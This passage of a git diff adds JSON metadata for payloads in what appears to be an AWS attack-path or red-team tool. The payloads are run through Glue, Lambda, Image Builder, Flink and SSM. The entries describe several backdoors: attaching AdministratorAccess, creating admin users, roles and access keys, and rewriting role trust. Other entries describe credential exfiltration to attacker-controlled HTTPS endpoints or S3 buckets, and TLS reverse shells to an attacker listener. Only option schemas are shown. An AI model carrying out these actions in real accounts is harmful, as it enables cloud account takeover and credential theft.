+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "glue-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/glue-backdoor-create-access-key.json
new file mode 100644
index 00000000..d24322e5
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-backdoor-create-access-key.json
@@ -0,0 +1,20 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "glue:backdoor/create-access-key",
+  "service": "glue",
+  "description": "Create new access keys for an existing IAM user via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "IAM username to create access keys for",
+      "required": true,
+      "mockValue": "target-iam-user"
+    }
+  ],
+  "slug": "glue-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-backdoor-create-role.json b/docs/pathrunner/data/payloads/glue-backdoor-create-role.json
new file mode 100644
index 00000000..c546e196
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-backdoor-create-role.json
@@ -0,0 +1,38 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "glue:backdoor/create-role",
+  "service": "glue",
+  "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:root) or service (e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID condition for the trust policy (optional)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "ROLE_PATH",
+      "description": "IAM path for the role",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "glue-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-backdoor-create-user.json b/docs/pathrunner/data/payloads/glue-backdoor-create-user.json
new file mode 100644
index 00000000..4005d5dc
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-backdoor-create-user.json
@@ -0,0 +1,32 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "glue:backdoor/create-user",
+  "service": "glue",
+  "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor user (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONSOLE_ACCESS",
+      "description": "Enable console password for the user (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "glue-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/glue-backdoor-update-role-trust.json
new file mode 100644
index 00000000..1f15f61e
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-backdoor-update-role-trust.json
@@ -0,0 +1,26 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "glue:backdoor/update-role-trust",
+  "service": "glue",
+  "description": "Update a role's trust policy to add a trusted principal via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role to modify",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to trust (ARN, account ID, or service name e.g. lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "glue-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-exfil-cloudwatch.json b/docs/pathrunner/data/payloads/glue-exfil-cloudwatch.json
new file mode 100644
index 00000000..58c1acef
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-exfil-cloudwatch.json
@@ -0,0 +1,20 @@
+{
+  "name": "exfil/cloudwatch",
+  "qualifiedName": "glue:exfil/cloudwatch",
+  "service": "glue",
+  "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "exfil"
+  ],
+  "options": [
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include environment variables in output (true/false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "glue-exfil-cloudwatch"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-exfil-https.json b/docs/pathrunner/data/payloads/glue-exfil-https.json
new file mode 100644
index 00000000..057da5ad
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-exfil-https.json
@@ -0,0 +1,39 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "glue:exfil/https",
+  "service": "glue",
+  "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "exfil",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Target HTTPS URL for credential exfiltration",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    },
+    {
+      "name": "USER_AGENT",
+      "description": "Custom User-Agent string for the HTTP request",
+      "required": false,
+      "default": "Mozilla/5.0 (compatible; AWS-Glue)"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "HTTP request timeout in seconds",
+      "required": false,
+      "default": "10"
+    },
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Glue environment variables in the exfiltrated payload (true/false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "glue-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-exfil-s3.json b/docs/pathrunner/data/payloads/glue-exfil-s3.json
new file mode 100644
index 00000000..0af55984
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-exfil-s3.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/s3",
+  "qualifiedName": "glue:exfil/s3",
+  "service": "glue",
+  "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "exfil",
+    "filesystem"
+  ],
+  "options": [
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket name for credential exfiltration",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_PREFIX",
+      "description": "S3 key prefix for the exfiltrated data (e.g., 'loot/')",
+      "required": false,
+      "default": "exfil/"
+    },
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Glue environment variables in the exfiltrated payload (true/false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "glue-exfil-s3"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/glue-revshell-tls.json b/docs/pathrunner/data/payloads/glue-revshell-tls.json
new file mode 100644
index 00000000..0495e38f
--- /dev/null
+++ b/docs/pathrunner/data/payloads/glue-revshell-tls.json
@@ -0,0 +1,45 @@
+{
+  "name": "revshell/tls",
+  "qualifiedName": "glue:revshell/tls",
+  "service": "glue",
+  "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+  "tags": [
+    "glue",
+    "python",
+    "access",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "LISTENER_IP",
+      "description": "Attacker listener host (IP or hostname)",
+      "required": true,
+      "mockValue": "1.2.3.4"
+    },
+    {
+      "name": "LISTENER_PORT",
+      "description": "Port for reverse shell connection",
+      "required": false,
+      "default": "4444"
+    },
+    {
+      "name": "SHELL",
+      "description": "Shell binary to execute",
+      "required": false,
+      "default": "/bin/sh"
+    },
+    {
+      "name": "RETRY_COUNT",
+      "description": "Number of connection retry attempts",
+      "required": false,
+      "default": "3"
+    },
+    {
+      "name": "RETRY_DELAY",
+      "description": "Seconds between retry attempts",
+      "required": false,
+      "default": "5"
+    }
+  ],
+  "slug": "glue-revshell-tls"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/imagebuilder-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/imagebuilder-backdoor-attach-policy.json
new file mode 100644
index 00000000..093a37b0
--- /dev/null
+++ b/docs/pathrunner/data/payloads/imagebuilder-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "imagebuilder:backdoor/attach-policy",
+  "service": "imagebuilder",
+  "description": "Attach AdministratorAccess to an IAM user or role via EC2 Image Builder component using IMDS credentials",
+  "tags": [
+    "imagebuilder",
+    "bash",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-populated from current identity)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the policy to attach (default: AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "imagebuilder-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/kinesisanalytics-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/kinesisanalytics-backdoor-attach-policy.json
new file mode 100644
index 00000000..423572f8
--- /dev/null
+++ b/docs/pathrunner/data/payloads/kinesisanalytics-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "kinesisanalytics:backdoor/attach-policy",
+  "service": "kinesisanalytics",
+  "description": "Attach an IAM policy to a user or role via a Managed Apache Flink application running with an admin execution role",
+  "tags": [
+    "kinesisanalytics",
+    "java",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role ARN to attach the policy to (auto-resolved from caller identity if unset)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the policy to attach",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "kinesisanalytics-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/kinesisanalytics-exfil-https.json b/docs/pathrunner/data/payloads/kinesisanalytics-exfil-https.json
new file mode 100644
index 00000000..d7973475
--- /dev/null
+++ b/docs/pathrunner/data/payloads/kinesisanalytics-exfil-https.json
@@ -0,0 +1,21 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "kinesisanalytics:exfil/https",
+  "service": "kinesisanalytics",
+  "description": "Exfiltrate execution role credentials to an attacker HTTPS endpoint via a Managed Apache Flink application",
+  "tags": [
+    "kinesisanalytics",
+    "java",
+    "exfil",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Attacker-controlled HTTPS endpoint for credential collection (auto-populated by 'attacker listener start')",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    }
+  ],
+  "slug": "kinesisanalytics-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/kinesisanalytics-exfil-s3.json b/docs/pathrunner/data/payloads/kinesisanalytics-exfil-s3.json
new file mode 100644
index 00000000..2dbed210
--- /dev/null
+++ b/docs/pathrunner/data/payloads/kinesisanalytics-exfil-s3.json
@@ -0,0 +1,27 @@
+{
+  "name": "exfil/s3",
+  "qualifiedName": "kinesisanalytics:exfil/s3",
+  "service": "kinesisanalytics",
+  "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via a Managed Apache Flink application",
+  "tags": [
+    "kinesisanalytics",
+    "java",
+    "exfil",
+    "filesystem"
+  ],
+  "options": [
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket name (auto-populated from 'attacker infra bucket create')",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_PREFIX",
+      "description": "S3 key prefix for the exfiltrated credentials",
+      "required": false,
+      "default": "exfil/"
+    }
+  ],
+  "slug": "kinesisanalytics-exfil-s3"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy-nodejs.json b/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy-nodejs.json
new file mode 100644
index 00000000..d2fc7b4e
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy-nodejs.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy-nodejs",
+  "qualifiedName": "lambda:backdoor/attach-policy-nodejs",
+  "service": "lambda",
+  "description": "Attach AdministratorAccess policy to an existing IAM user or role (Node.js runtime)",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "lambda-backdoor-attach-policy-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy.json
new file mode 100644
index 00000000..7630ff1b
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "lambda:backdoor/attach-policy",
+  "service": "lambda",
+  "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+  "tags": [
+    "lambda",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    }
+  ],
+  "slug": "lambda-backdoor-attach-policy"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key-nodejs.json b/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key-nodejs.json
new file mode 100644
index 00000000..6eddbe49
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key-nodejs.json
@@ -0,0 +1,21 @@
+{
+  "name": "backdoor/create-access-key-nodejs",
+  "qualifiedName": "lambda:backdoor/create-access-key-nodejs",
+  "service": "lambda",
+  "description": "Create new access keys for an existing IAM user (Node.js runtime, does not work on roles)",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user name or ARN to create access keys for (CreateAccessKey only works on IAM users)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "slug": "lambda-backdoor-create-access-key-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key.json b/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key.json
new file mode 100644
index 00000000..b15d24ef
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-create-access-key.json
@@ -0,0 +1,21 @@
+{
+  "name": "backdoor/create-access-key",
+  "qualifiedName": "lambda:backdoor/create-access-key",
+  "service": "lambda",
+  "description": "Create new access keys for an existing IAM user (does not work on roles)",
+  "tags": [
+    "lambda",
+    "python",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user name or ARN to create access keys for (CreateAccessKey only works on IAM users)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "slug": "lambda-backdoor-create-access-key"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-create-role.json b/docs/pathrunner/data/payloads/lambda-backdoor-create-role.json
new file mode 100644
index 00000000..602de41a
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-create-role.json
@@ -0,0 +1,39 @@
+{
+  "name": "backdoor/create-role",
+  "qualifiedName": "lambda:backdoor/create-role",
+  "service": "lambda",
+  "description": "Create an IAM role with administrator privileges and a custom trust policy",
+  "tags": [
+    "lambda",
+    "python",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Trusted principal ARN (e.g. arn:aws:iam::123456789012:user/name, arn:aws:iam::123456789012:root, or a service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "ROLE_NAME",
+      "description": "Name for the backdoor role",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "EXTERNAL_ID",
+      "description": "External ID for added security (optional)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "ROLE_PATH",
+      "description": "IAM path for the role",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "lambda-backdoor-create-role"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-create-user.json b/docs/pathrunner/data/payloads/lambda-backdoor-create-user.json
new file mode 100644
index 00000000..0d65f561
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-create-user.json
@@ -0,0 +1,39 @@
+{
+  "name": "backdoor/create-user",
+  "qualifiedName": "lambda:backdoor/create-user",
+  "service": "lambda",
+  "description": "Create an IAM user with administrator privileges and console access",
+  "tags": [
+    "lambda",
+    "python",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "USER_NAME",
+      "description": "Name for the backdoor user",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONSOLE_ACCESS",
+      "description": "Enable console password for the user",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "ACCESS_KEY",
+      "description": "Create programmatic access keys",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "USER_PATH",
+      "description": "IAM path for the user",
+      "required": false,
+      "default": "/"
+    }
+  ],
+  "slug": "lambda-backdoor-create-user"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust-nodejs.json b/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust-nodejs.json
new file mode 100644
index 00000000..214c3bb4
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust-nodejs.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/update-role-trust-nodejs",
+  "qualifiedName": "lambda:backdoor/update-role-trust-nodejs",
+  "service": "lambda",
+  "description": "Update a role's trust policy to add a trusted principal (Node.js runtime)",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "IAM role name or ARN whose trust policy will be modified",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN, account ID, or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "lambda-backdoor-update-role-trust-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust.json b/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust.json
new file mode 100644
index 00000000..0a6e966a
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-backdoor-update-role-trust.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/update-role-trust",
+  "qualifiedName": "lambda:backdoor/update-role-trust",
+  "service": "lambda",
+  "description": "Update a role's trust policy to add a trusted principal",
+  "tags": [
+    "lambda",
+    "python",
+    "backdoor",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "IAM role name or ARN whose trust policy will be modified",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "Principal to add to the trust policy (ARN, account ID, or service like lambda.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    }
+  ],
+  "slug": "lambda-backdoor-update-role-trust"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-exfil-https-nodejs.json b/docs/pathrunner/data/payloads/lambda-exfil-https-nodejs.json
new file mode 100644
index 00000000..ae02c348
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-exfil-https-nodejs.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/https-nodejs",
+  "qualifiedName": "lambda:exfil/https-nodejs",
+  "service": "lambda",
+  "description": "Extract credentials via Node.js and POST them to an attacker-controlled HTTPS endpoint",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "exfil",
+    "webhook"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Attacker-controlled HTTPS endpoint to receive credentials",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    },
+    {
+      "name": "USER_AGENT",
+      "description": "HTTP User-Agent header",
+      "required": false,
+      "default": "Mozilla/5.0 (compatible; AWS-Lambda)"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "Request timeout in seconds",
+      "required": false,
+      "default": "10"
+    }
+  ],
+  "slug": "lambda-exfil-https-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-exfil-https.json b/docs/pathrunner/data/payloads/lambda-exfil-https.json
new file mode 100644
index 00000000..b2f41f98
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-exfil-https.json
@@ -0,0 +1,39 @@
+{
+  "name": "exfil/https",
+  "qualifiedName": "lambda:exfil/https",
+  "service": "lambda",
+  "description": "Send extracted credentials to a remote HTTPS endpoint",
+  "tags": [
+    "lambda",
+    "python",
+    "exfil",
+    "webhook"
+  ],
+  "options": [
+    {
+      "name": "HTTPS_URL",
+      "description": "Target HTTPS URL for credential exfiltration",
+      "required": true,
+      "mockValue": "https://1.2.3.4:8443/collect"
+    },
+    {
+      "name": "USER_AGENT",
+      "description": "Custom User-Agent string for HTTP requests",
+      "required": false,
+      "default": "Mozilla/5.0 (compatible; AWS-Lambda)"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "HTTP request timeout in seconds",
+      "required": false,
+      "default": "10"
+    },
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Lambda environment variables in payload",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "lambda-exfil-https"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-exfil-response-nodejs.json b/docs/pathrunner/data/payloads/lambda-exfil-response-nodejs.json
new file mode 100644
index 00000000..83b35e3e
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-exfil-response-nodejs.json
@@ -0,0 +1,21 @@
+{
+  "name": "exfil/response-nodejs",
+  "qualifiedName": "lambda:exfil/response-nodejs",
+  "service": "lambda",
+  "description": "Extract credentials via Node.js and return them in the Lambda function response",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "exfil",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Lambda environment variables in output",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "slug": "lambda-exfil-response-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-exfil-response.json b/docs/pathrunner/data/payloads/lambda-exfil-response.json
new file mode 100644
index 00000000..c072de76
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-exfil-response.json
@@ -0,0 +1,27 @@
+{
+  "name": "exfil/response",
+  "qualifiedName": "lambda:exfil/response",
+  "service": "lambda",
+  "description": "Extract credentials and return them in the Lambda function response",
+  "tags": [
+    "lambda",
+    "python",
+    "exfil",
+    "response"
+  ],
+  "options": [
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Lambda environment variables in output",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "INCLUDE_TAGS",
+      "description": "Include function tags in output",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "lambda-exfil-response"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-exfil-s3.json b/docs/pathrunner/data/payloads/lambda-exfil-s3.json
new file mode 100644
index 00000000..fcb1af04
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-exfil-s3.json
@@ -0,0 +1,33 @@
+{
+  "name": "exfil/s3",
+  "qualifiedName": "lambda:exfil/s3",
+  "service": "lambda",
+  "description": "Exfiltrate Lambda execution role credentials to an attacker-controlled S3 bucket",
+  "tags": [
+    "lambda",
+    "python",
+    "exfil",
+    "filesystem"
+  ],
+  "options": [
+    {
+      "name": "EXFIL_BUCKET",
+      "description": "Attacker-controlled S3 bucket name for credential exfiltration",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "EXFIL_PREFIX",
+      "description": "S3 key prefix for the exfiltrated data",
+      "required": false,
+      "default": "exfil/"
+    },
+    {
+      "name": "INCLUDE_ENV",
+      "description": "Include Lambda environment variables in the exfiltrated payload (true/false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "slug": "lambda-exfil-s3"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-revshell-tls-nodejs.json b/docs/pathrunner/data/payloads/lambda-revshell-tls-nodejs.json
new file mode 100644
index 00000000..74e64f89
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-revshell-tls-nodejs.json
@@ -0,0 +1,27 @@
+{
+  "name": "revshell/tls-nodejs",
+  "qualifiedName": "lambda:revshell/tls-nodejs",
+  "service": "lambda",
+  "description": "Establish a TLS reverse shell from a Node.js Lambda function to an attacker listener",
+  "tags": [
+    "lambda",
+    "nodejs",
+    "access",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "LISTENER_IP",
+      "description": "Attacker IP address running the TLS listener",
+      "required": true,
+      "mockValue": "1.2.3.4"
+    },
+    {
+      "name": "LISTENER_PORT",
+      "description": "Attacker port for the TLS listener",
+      "required": false,
+      "default": "4444"
+    }
+  ],
+  "slug": "lambda-revshell-tls-nodejs"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/lambda-revshell-tls.json b/docs/pathrunner/data/payloads/lambda-revshell-tls.json
new file mode 100644
index 00000000..d8960651
--- /dev/null
+++ b/docs/pathrunner/data/payloads/lambda-revshell-tls.json
@@ -0,0 +1,33 @@
+{
+  "name": "revshell/tls",
+  "qualifiedName": "lambda:revshell/tls",
+  "service": "lambda",
+  "description": "Establish a TLS-encrypted reverse shell from inside a Lambda function. Only works with new-passrole modules where the function timeout can be set to 900s",
+  "tags": [
+    "lambda",
+    "python",
+    "access",
+    "https"
+  ],
+  "options": [
+    {
+      "name": "LISTENER_IP",
+      "description": "Attacker listener host (IP or hostname)",
+      "required": true,
+      "mockValue": "1.2.3.4"
+    },
+    {
+      "name": "LISTENER_PORT",
+      "description": "Port for reverse shell connection",
+      "required": false,
+      "default": "4444"
+    },
+    {
+      "name": "SHELL",
+      "description": "Shell binary to execute",
+      "required": false,
+      "default": "/bin/sh"
+    }
+  ],
+  "slug": "lambda-revshell-tls"
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/payloads/ssm-automation-backdoor-attach-policy.json b/docs/pathrunner/data/payloads/ssm-automation-backdoor-attach-policy.json
new file mode 100644
index 00000000..a35d3522
--- /dev/null
+++ b/docs/pathrunner/data/payloads/ssm-automation-backdoor-attach-policy.json
@@ -0,0 +1,27 @@
+{
+  "name": "backdoor/attach-policy",
+  "qualifiedName": "ssm-automation:backdoor/attach-policy",
+  "service": "ssm-automation",
+  "description": "Attach a policy to an IAM user or role via SSM Automation Python step",
+  "tags": [
+    "ssm-automation",
+    "python",
+    "backdoor"
+  ],
+  "options": [
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach policy to (auto-detects type from ARN, tries both if plain name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
